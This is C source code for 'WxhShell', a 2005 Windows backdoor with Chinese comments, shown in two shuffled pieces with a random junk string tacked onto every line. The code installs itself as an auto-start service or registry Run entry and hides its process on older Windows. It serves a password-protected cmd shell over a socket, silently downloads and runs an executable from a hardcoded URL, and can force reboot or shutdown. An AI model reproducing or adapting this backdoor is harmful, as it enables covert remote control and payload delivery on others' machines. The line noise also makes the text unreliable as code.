    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ z*<^ONq  
    if(Boot(SHUTDOWN)) LEg|R+ 6E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7k#>$sY+  
    else { z {NK(oW  
    closesocket(wsh); v!S(T];)  
    ExitThread(0); 4;jAdWj3  
    } ( Q&jp!WU  
    break; n68qxD-X  
    } X)TZ  S  
  // 获取shell RY,L'Gt O  
  case 's': { q`|E9  
    CmdShell(wsh); tOj5b 7'ui  
    closesocket(wsh); ;8]Hw a1!  
    ExitThread(0); L]X Lv9J0  
    break; O"[#g  
  } 1 j|XC  
  // 退出 ~2NT Xp  
  case 'x': { 21?>rezJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :K \IS`  
    CloseIt(wsh); ye {y[$#3  
    break; A,#z_2~  
    } 6il+hz2&lH  
  // 离开 -|czhO)R  
  case 'q': { grd fR`3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EL *l5!Iu  
    closesocket(wsh); v9D[| 4  
    WSACleanup(); hz2f7g  
    exit(1); Hc0V4NHCaL  
    break; :' !_PN  
        } `1 Tg8  
  } PB:r+[91  
  } m}m|(;T  
y+.(E-g  
  // 提示信息 YL4yT`*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H[/^&1P  
} K5^`,}Q^  
  } 'P)c'uqd#  
yw1-4*$c  
  return; Ey=ymf.}  
} uHq;z{ 2GI  
P^AI*tH"m  
// shell模块句柄 /j-c29nz  
int CmdShell(SOCKET sock) +o?;7  
{ 9yz@hdG  
STARTUPINFO si; ,b4oV  
ZeroMemory(&si,sizeof(si)); <nTZs`$LwL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z/czAr@4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \q\"=  
PROCESS_INFORMATION ProcessInfo; ?dPr HSy  
char cmdline[]="cmd"; }bSDhMV;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 05:?5M4};  
  return 0; q@g#DP+C  
} O?ODfO+>  
Kq5i8L=u  
// 自身启动模式 udXzsY9Ng  
int StartFromService(void) hpgOsF9Lh  
{ nxB[T o*P  
typedef struct >qs/o$+t}  
{ ut#pg+#Q  
  DWORD ExitStatus; 1tLEKSo+  
  DWORD PebBaseAddress;  AGm=0Om  
  DWORD AffinityMask; \d*ts(/a*  
  DWORD BasePriority; a?yU;IKJ  
  ULONG UniqueProcessId; ]&N>F8.L+  
  ULONG InheritedFromUniqueProcessId; OADW;fj  
}   PROCESS_BASIC_INFORMATION; {,u})U2  
_a f $0!  
PROCNTQSIP NtQueryInformationProcess; P aeq  
U>OAtiq JX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vZW[y5   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R$+p4@?S  
J.'%=q(Sb  
  HANDLE             hProcess; *{P/3yH  
  PROCESS_BASIC_INFORMATION pbi; )ki Gk}2  
4$WR8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #4JLWg  
  if(NULL == hInst ) return 0; \Z,{De%  
r<4j;"lQK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vK[%c A"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M9""(`U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nzaA_^`mB  
R7U%v"F>`  
  if (!NtQueryInformationProcess) return 0; ]Vmo >  
TQmrL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [sjkm+ ?  
  if(!hProcess) return 0; vS)>g4  
Rk[a|T&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,wM4X'] HR  
ca,W:9#.xn  
  CloseHandle(hProcess); +wJ!zab`  
k|\M(Z*(P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &^#u=w?^x  
if(hProcess==NULL) return 0; EEnl'  
"TJ*mN.i{}  
HMODULE hMod; TYb$+uY  
char procName[255]; R^$|D)(  
unsigned long cbNeeded; aZCq{7Xs  
vy *-"=J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b0YEIV<$  
E_aBDiyDf  
  CloseHandle(hProcess); YcX\t6VK  
($kw*H{Ah^  
if(strstr(procName,"services")) return 1; // 以服务启动 Z#L4n#TT  
J-Tiwl  
  return 0; // 注册表启动 : S3+UT  
} y/c3x*l.xL  
J (?qk  
// 主模块 -PAEJn5$O  
int StartWxhshell(LPSTR lpCmdLine) )?UoF&c/  
{ DegbjqZ#  
  SOCKET wsl; d_M+W@{  
BOOL val=TRUE; } P ,"  
  int port=0; -]HZ?@  
  struct sockaddr_in door; T"W<l4i-  
SXZ9+<\  
  if(wscfg.ws_autoins) Install(); *H/3xPh,*  
G:":CX"O(  
port=atoi(lpCmdLine); kuy?n-1g  
f4b9o[,s2e  
if(port<=0) port=wscfg.ws_port; gK`w|kh`  
X<}}DZSu a  
  WSADATA data; $vfgYl4q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o #e8 Piw  
YE{ [f@i0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jRg gj`o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @%R4V[Lo.  
  door.sin_family = AF_INET; _ (F-(X|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3X`9&0:j%  
  door.sin_port = htons(port); KU/r"lMNlU  
8YQuq.(>a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B5;%R01A  
closesocket(wsl); p35=CX`T.  
return 1; B/1j4/MS  
} ]=q auf>3  
^w\22 Q  
  if(listen(wsl,2) == INVALID_SOCKET) { BsIF3sS#9  
closesocket(wsl); j#n ]q{s4  
return 1; *x|%Nua"  
} FN-/~Su~J  
  Wxhshell(wsl); V| 97;  
  WSACleanup(); # dWz,e3   
I?3b}#&V9  
return 0; iY,C0=n5Y  
v'@gUgC  
} T+}|$/Tv  
mvEhP{w  
// 以NT服务方式启动 Swhz\/u9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C e-ru)  
{ 6DHK&<=D8  
DWORD   status = 0; Cdz&'en^  
  DWORD   specificError = 0xfffffff; )t|:_Z  
lPR=C0h}@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $*#^C;7O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /:4J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d&FXndC4F  
  serviceStatus.dwWin32ExitCode     = 0; 73cb1 kfPd  
  serviceStatus.dwServiceSpecificExitCode = 0; STW?0B'Jr  
  serviceStatus.dwCheckPoint       = 0; i< ^X z  
  serviceStatus.dwWaitHint       = 0; L3, /7  
~v;I>ij  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '@t$3 hk  
  if (hServiceStatusHandle==0) return; *(OG+OkC  
;'n%\*+fHH  
status = GetLastError(); `q*[fd1u.  
  if (status!=NO_ERROR) jq,M1  
{ 3CoZ2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \)~d,M}kK  
    serviceStatus.dwCheckPoint       = 0; lKf58 mB  
    serviceStatus.dwWaitHint       = 0; pWV_KS  
    serviceStatus.dwWin32ExitCode     = status; ]].~/kC^3k  
    serviceStatus.dwServiceSpecificExitCode = specificError; loVg{N :  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Cc~|gOgD  
    return; O+}py{ st  
  } J\@6YU[A  
_re# b?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "JB4 Uaa  
  serviceStatus.dwCheckPoint       = 0; zC2:c"E I  
  serviceStatus.dwWaitHint       = 0; 7}X1A!1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }(nT(9|  
} # rkq ?:Q  
u<edO+  
// 处理NT服务事件,比如:启动、停止 _i05' _  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :V'99Esv`  
{ ^K?-+  
switch(fdwControl) :0J`4  
{ Q@W/~~N  
case SERVICE_CONTROL_STOP: su%(!XJQpg  
  serviceStatus.dwWin32ExitCode = 0; *dw.=a9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cpdESc9W  
  serviceStatus.dwCheckPoint   = 0; W+ S~__K  
  serviceStatus.dwWaitHint     = 0;  i0=U6S:#  
  { <\&9Odqc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z`S# > o  
  } EF`}*7)  
  return; FzInIif  
case SERVICE_CONTROL_PAUSE: :$k*y%Z*N&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r<vMp'u  
  break; #t ;`  
case SERVICE_CONTROL_CONTINUE: *ub2dH4/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S1QMS  
  break; 9;@p2t*v  
case SERVICE_CONTROL_INTERROGATE: mku@n;Hl_  
  break; xuioU  
}; W"NI^OX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p!UR;xHI\  
} jWrU'X  
hF2e--  
// 标准应用程序主函数 HRf;bKZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =-U0r$sK+F  
{ MAek856  
0kE[=#'.'  
// 获取操作系统版本 J,Sa7jv[  
OsIsNt=GetOsVer(); z< %P"   
GetModuleFileName(NULL,ExeFile,MAX_PATH); $[|(&8+7  
%f]#P8V P  
  // 从命令行安装 QOWGQl%!  
  if(strpbrk(lpCmdLine,"iI")) Install(); FZi@h  
ER"69zQg|2  
  // 下载执行文件 Z [!"x&H]h  
if(wscfg.ws_downexe) { _C !i(z!d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w!f2~j~  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~i.*fL_Y  
} _Y; TS1u  
@](vFb  
if(!OsIsNt) { c -+NWC  
// 如果时win9x,隐藏进程并且设置为注册表启动 QH'*MY  
HideProc(); a"jE\OZ{+s  
StartWxhshell(lpCmdLine); "Rj PTRe:  
} :v^/k]S  
else H*W>v[>  
  if(StartFromService()) 2zC4nF)>O  
  // 以服务方式启动 Ta?J;&<u]/  
  StartServiceCtrlDispatcher(DispatchTable); 6 U.Jaai:  
else a4*v'Xc5  
  // 普通方式启动 Q"&Mr+  
  StartWxhshell(lpCmdLine); V*?cMJ_G  
F^%w%E\  
return 0; _b&|0j:Ud  
} ~,)jZ-fw  
6W i n!4  
d/d)MoaJ*t  
h P6f   
=========================================== B;9,Qbb  
!l[;,l   
F[ E'R.:  
'@{:Fr G*U  
io#}z4"'qY  
KIF9[/P  
" x9l7|G/$  
tYjG8P#  
#include <stdio.h> }_+XN"}C  
#include <string.h> !*#9b  
#include <windows.h> ^'X I%fEf  
#include <winsock2.h> MLDzWZ~}ef  
#include <winsvc.h> =KPmZ,/w  
#include <urlmon.h> w"R<8e=  
%-n) L  
#pragma comment (lib, "Ws2_32.lib") Xh"9Bcjf  
#pragma comment (lib, "urlmon.lib") o#qdgZ  
<F9-$_m  
#define MAX_USER   100 // 最大客户端连接数 x{R440"  
#define BUF_SOCK   200 // sock buffer "| nXR8t.r  
#define KEY_BUFF   255 // 输入 buffer Wdd}y`lS  
DGvuo 8  
#define REBOOT     0   // 重启 2 }xePX9?  
#define SHUTDOWN   1   // 关机 0z=KnQx"4  
tJ(xeb  
#define DEF_PORT   5000 // 监听端口 owNwj  
k(ouE|B  
#define REG_LEN     16   // 注册表键长度 ^>|ZN2  
#define SVC_LEN     80   // NT服务名长度 (5$Ge$  
Z ]A |"6<  
// 从dll定义API XM]m%I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t&U9Z$LS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d.&_j`\F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T<]{:\*n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WDc[+Xyw  
XFhH+4#]  
// wxhshell配置信息 2!%)_<  
struct WSCFG { 3bRxV @0.  
  int ws_port;         // 监听端口 Gk:fw#R  
  char ws_passstr[REG_LEN]; // 口令 NM. e4  
  int ws_autoins;       // 安装标记, 1=yes 0=no o0r&w;!  
  char ws_regname[REG_LEN]; // 注册表键名 B!'K20"gF  
  char ws_svcname[REG_LEN]; // 服务名 IyO 0~Vx>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lelmX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k{vj,#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PZ]tl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5_9`v@-4_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w{tA{{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A{_CU-,  
v47' dC  
}; ".}R$ W  
,hzRqFg2  
// default Wxhshell configuration S#ryEgc]  
struct WSCFG wscfg={DEF_PORT, @GQe-04W`  
    "xuhuanlingzhe", !S?Fz]  
    1, $yOB-  
    "Wxhshell", t 24`*'  
    "Wxhshell", kff N0(MR  
            "WxhShell Service", }IygU 6{G  
    "Wrsky Windows CmdShell Service", >LPb>t5%p  
    "Please Input Your Password: ", Fyvo;1a  
  1, - (s0f  
  "http://www.wrsky.com/wxhshell.exe", *f+s  
  "Wxhshell.exe" uEgR>X>  
    }; jIKg* @  
)G48,. "  
// 消息定义模块 3,p!Fun:r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; INnd TF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Y= A#Yz,{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S. MRL,  
char *msg_ws_ext="\n\rExit."; j~'.XD={  
char *msg_ws_end="\n\rQuit."; Hzz{wY   
char *msg_ws_boot="\n\rReboot..."; "ku[b\W  
char *msg_ws_poff="\n\rShutdown..."; H&s`Xr  
char *msg_ws_down="\n\rSave to "; 9~V'Wev  
!*l/Pr^8  
char *msg_ws_err="\n\rErr!"; }Y-V!z5z!  
char *msg_ws_ok="\n\rOK!"; s#7"ZN  
#IH9S5B [  
char ExeFile[MAX_PATH]; NDRD PD  
int nUser = 0; |lhnCShw  
HANDLE handles[MAX_USER]; (MXy\b<  
int OsIsNt; Jxl'!8t  
WsbVO|C  
SERVICE_STATUS       serviceStatus; u(zgKoF9A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <0';2yP"  
nf pO  
// 函数声明 ,!> ~izB  
int Install(void); 4Uny.C]  
int Uninstall(void); Yo%U{/e  
int DownloadFile(char *sURL, SOCKET wsh); t'K+)OK  
int Boot(int flag); ;"D}"nL  
void HideProc(void); d- ZUuw  
int GetOsVer(void); +"84.PZ  
int Wxhshell(SOCKET wsl); 45biy(qa  
void TalkWithClient(void *cs); X1w11Z7o  
int CmdShell(SOCKET sock); $z!G%PO1%  
int StartFromService(void); HD<$0M|  
int StartWxhshell(LPSTR lpCmdLine); .]>Tj^1  
7#JnQ| ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #JYl%=#,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @>2]zMFf  
:s_o'8z7L  
// 数据结构和表定义 q%,86A>  
SERVICE_TABLE_ENTRY DispatchTable[] = 9swHa  
{ NFVu~t  
{wscfg.ws_svcname, NTServiceMain}, 10Eun }  
{NULL, NULL} XU7to]'K  
}; wai3g-`  
TX5??o  
// 自我安装 &wi+)d  
int Install(void) j+3\I>  
{ EI=~*&t  
  char svExeFile[MAX_PATH]; ";U~wZW_  
  HKEY key; aH;AGbp  
  strcpy(svExeFile,ExeFile); e\~nqKCb  
huqtk4u  
// 如果是win9x系统,修改注册表设为自启动 A^}#  
if(!OsIsNt) { ql9n`?Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Jf(M ^E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [xGwqa03  
  RegCloseKey(key); gI7*zR4D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o;c"-^>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (pH)QG  
  RegCloseKey(key); {n>.Y -=  
  return 0; 8`S1E0s  
    } ksq4t  
  } n\;;T1rM  
} pYcs4f!?p  
else { #j7&2L  
Zf>:h   
// 如果是NT以上系统,安装为系统服务 "PMJh3q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gy?uk~p  
if (schSCManager!=0) {zZ)JWM<w  
{ = V')}f~C  
  SC_HANDLE schService = CreateService '-myOM7  
  ( Y;Nq(  
  schSCManager, nql1I<I  
  wscfg.ws_svcname, -f?  
  wscfg.ws_svcdisp, n U=  
  SERVICE_ALL_ACCESS, E3a^"V3p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ok6t| 7sq  
  SERVICE_AUTO_START, Gt{%O>P8t  
  SERVICE_ERROR_NORMAL, {_tq6ja-<  
  svExeFile, 0J?443A Y  
  NULL, 6`-<N!  
  NULL, Yv=L'0K&  
  NULL, :UT \L2 q=  
  NULL, U _pPI$ =  
  NULL 4wv0~T$;x  
  ); X:t?'41m\  
  if (schService!=0) P7>\j*U91{  
  { Tf=1p1!3  
  CloseServiceHandle(schService); cQ$[Ba  
  CloseServiceHandle(schSCManager); ~;6^n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *_YH}U  
  strcat(svExeFile,wscfg.ws_svcname); AxEdQRGk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oM1C/=8   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .0,G4k/yv  
  RegCloseKey(key); a{ke%W$*P  
  return 0; &W3srJo  
    } t[;-gi,,  
  } 5OPvy,e6  
  CloseServiceHandle(schSCManager); zvGncjMkC  
} #e=E  
} F,as>X#  
cGs& Kn;h  
return 1; pzt<[;  
} _x|R`1`  
>'#vC]@  
// 自我卸载 E<D^j^T  
int Uninstall(void) N[-$*F,:_  
{ uo?R;fX26  
  HKEY key; HjzAFXRG  
qsEFf(9G  
if(!OsIsNt) { k]AL\) &W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zk~Pq%u  
  RegDeleteValue(key,wscfg.ws_regname); {oAD;m`  
  RegCloseKey(key); % dtn*NU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qOmL\'8  
  RegDeleteValue(key,wscfg.ws_regname); h:7\S\|8  
  RegCloseKey(key); ;>/Mal  
  return 0; Gv]94$'J9  
  } <k3KCt  
} >;"%Db  
} ;TC]<N.YJT  
else { [ Y{  
hVyeHbx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ``]NB=N}{1  
if (schSCManager!=0) ltrti.&  
{ w_"-rGV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !yi*Zt~  
  if (schService!=0) Ve9) ?=!  
  { %<8?$-[  
  if(DeleteService(schService)!=0) { mYfHBW:  
  CloseServiceHandle(schService); +BM[@?"hrh  
  CloseServiceHandle(schSCManager); b7+(g [O  
  return 0; S.>fB7'(?=  
  } uMm`j?Y23q  
  CloseServiceHandle(schService); )l(DtU!E  
  } NZG ^B/  
  CloseServiceHandle(schSCManager); |F\fdB}?S:  
} U:@tdH+A7  
} N2|NYDQs  
yXIJeo"  
return 1; j"Ew)6j  
} ^} Y}Iz  
%S`Wu|y  
// 从指定url下载文件 [j TU nP  
int DownloadFile(char *sURL, SOCKET wsh) ?.-+U~  
{ KbciRRf!k  
  HRESULT hr; ,c`Wmp^AY  
char seps[]= "/"; g/FT6+&T.  
char *token; Kc@Sw{JR#7  
char *file; ~-G_c=E?  
char myURL[MAX_PATH]; +2p}KpOsL  
char myFILE[MAX_PATH]; FWp ?l  
^Nds@MR{8'  
strcpy(myURL,sURL); c M<08-:v  
  token=strtok(myURL,seps); 4Wvefq"  
  while(token!=NULL) =b"{*Heuw  
  { (]?M=?0\  
    file=token; LEN=pqGJ.  
  token=strtok(NULL,seps); 3me&isKL  
  } 6~>h;wC  
2B)1 tP  
GetCurrentDirectory(MAX_PATH,myFILE); .F%jbnKd_  
strcat(myFILE, "\\"); <Mj{pN3  
strcat(myFILE, file); NU'2QSU8  
  send(wsh,myFILE,strlen(myFILE),0); aMT=pGU  
send(wsh,"...",3,0); C]3:&dx9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \|B\7a'4  
  if(hr==S_OK) U|QP] 6v  
return 0; q-@&n6PEOZ  
else a-nn[ j  
return 1; Gf+X<a  
9GT}_ ^fb  
} Gr}NgyT<!D  
5-H"{29  
// 系统电源模块 PQ;9iv  
int Boot(int flag) B>I :KGkV  
{ j,9/eZRZ  
  HANDLE hToken; I(k(p\l%  
  TOKEN_PRIVILEGES tkp; $tc1 te  
|#BN!kc  
  if(OsIsNt) { ^xScVOdP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?|Z~mE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l+wfP76w  
    tkp.PrivilegeCount = 1; 0N]\f.=`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GjN6Af~}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 92C; a5s  
if(flag==REBOOT) { 7hLh}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g HxRw  
  return 0; k}qCkm27  
} sk:B; .z  
else { v>mK~0.$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u"wWekB  
  return 0; t.\Pn4  
} eR`Q7]j] -  
  } 48 0M|^  
  else { amX1idHo^  
if(flag==REBOOT) { 1D!MXYgm1b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }7xcHVO8-  
  return 0; <dVJV?i;  
} Wl+spWqW  
else { k=d0%} `M(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %\}5u[V  
  return 0; AOwmPHEL  
} IAN={";p  
} K3WaBcm  
gLFTnMO  
return 1; JvP>[vb  
} <R~;|&o,$  
#W.vX=/*  
// win9x进程隐藏模块 <u],R.S)  
void HideProc(void) Bva2f:)K|  
{ sO(4F8cpU  
<5#2^(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nz#eJ  
  if ( hKernel != NULL )  T-+ uQ3  
  { 'n\PS,[1R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hr7pcz/#l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mb%U~Na  
    FreeLibrary(hKernel); =:6B`,~C  
  } QoxQ"r9Wh  
MR5[|kHJT  
return; '{.8tT ?tJ  
} M^hz<<:$  
^^n (s_g  
// 获取操作系统版本 u i$4  
int GetOsVer(void) Bu?Qyz2O  
{ E'6/@xM  
  OSVERSIONINFO winfo; 8A::q;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jaavh6h)  
  GetVersionEx(&winfo); \!w |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K:Z(jF!j  
  return 1; =FiO{Aw`N  
  else ^j10 f$B  
  return 0; PY3bn).uR  
} jffNA^e  
0jPUDkH*  
// 客户端句柄模块 )iK:BL*Nw  
int Wxhshell(SOCKET wsl) cW"DDm g  
{ jP2#w{xq  
  SOCKET wsh; bC) <K/Q9  
  struct sockaddr_in client; rce._w }  
  DWORD myID; a"t~ K  
4%_xT o  
  while(nUser<MAX_USER) 4vvQ7e7  
{ SkCux  
  int nSize=sizeof(client); Z#^|h0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !;d>}iE   
  if(wsh==INVALID_SOCKET) return 1; JR&yaOws  
 &"27U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6-g>(g   
if(handles[nUser]==0) WB<MU:.Vc  
  closesocket(wsh); gf9U<J#&C  
else S;D]ym  
  nUser++; #N~1Y e  
  } nG{o$v_|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5~im.XfiVx  
0 VG;z#{J  
  return 0; @0NWc c+  
} nII#uI /!q  
EwuRIe;D  
// 关闭 socket /& c2y=/'C  
void CloseIt(SOCKET wsh) $<&_9T#&w  
{ G%zJ4W%  
closesocket(wsh); UWK|_RT6SA  
nUser--; kCoE;)y$  
ExitThread(0); ]%FP*YU4O  
} @,c` #,F/  
dxH\H?NO  
// 客户端请求句柄 x(4"!#  
void TalkWithClient(void *cs) V[WL S?-)  
{ %W=BdGr[8z  
C~"UOFX  
  SOCKET wsh=(SOCKET)cs; 2i !\H$u`  
  char pwd[SVC_LEN]; ~ F-lO1  
  char cmd[KEY_BUFF]; SXO.|"M  
char chr[1]; cu'(Hj  
int i,j; G)M! , Q  
o`7 Z<HF  
  while (nUser < MAX_USER) { ZH>i2|W<  
T\= #y  
if(wscfg.ws_passstr) { ct OCj$$u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ""|;5kJS4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lFSvHs5  
  //ZeroMemory(pwd,KEY_BUFF); 9vwm RVN  
      i=0; [F;\NJp6?^  
  while(i<SVC_LEN) { mE>{K  
E`hR(UL ?  
  // 设置超时 euRKYGW  
  fd_set FdRead; GRVF/hPn  
  struct timeval TimeOut; W\5 -Yg(@  
  FD_ZERO(&FdRead); mpVD;)?JmM  
  FD_SET(wsh,&FdRead); G`Z<a  
  TimeOut.tv_sec=8; PlK3;  
  TimeOut.tv_usec=0; 7zA+UWr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mO(Y>|mm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); so/0f1R?~  
J|^z>gP(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mh`uvqY  
  pwd=chr[0]; ur=:Ha  
  if(chr[0]==0xd || chr[0]==0xa) { mW+5I-~  
  pwd=0; XzqB=iX  
  break; YktZXc?iI<  
  } UIg?3J}R  
  i++; KsK]y,^Z  
    } ;3xi.^=B  
gy~2LY!}  
  // 如果是非法用户,关闭 socket 11Qi _T\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ qaT jSP  
} )R?uzX^qf  
>j$aY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i_*.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5w9X+G%  
#Ufb  
while(1) { 1[#sHj$Na`  
1^V.L+0s]  
  ZeroMemory(cmd,KEY_BUFF); Bgzq  
uudd'L  
      // 自动支持客户端 telnet标准   J7%rPJ  
  j=0; 6gO(  8  
  while(j<KEY_BUFF) { <sM_zoprc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U>bIQk"4  
  cmd[j]=chr[0]; 'irwecd8  
  if(chr[0]==0xa || chr[0]==0xd) { }$qrNbLJ  
  cmd[j]=0; skTa IGRL  
  break; Nh/i'q/  
  } *qAG0EM|  
  j++; o"z;k3(i$7  
    } }Qe(6'l_  
A:2CP&*  
  // 下载文件 XqhrQU|wM  
  if(strstr(cmd,"http://")) { VAUd^6Xdwx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  "^BA5  
  if(DownloadFile(cmd,wsh)) m_Z(osoE#W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h&v].l  
  else 2_o\Wor#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9) $[W  
  } @qjN>PH~  
  else { M"{*))O\-c  
tq@)J_7|  
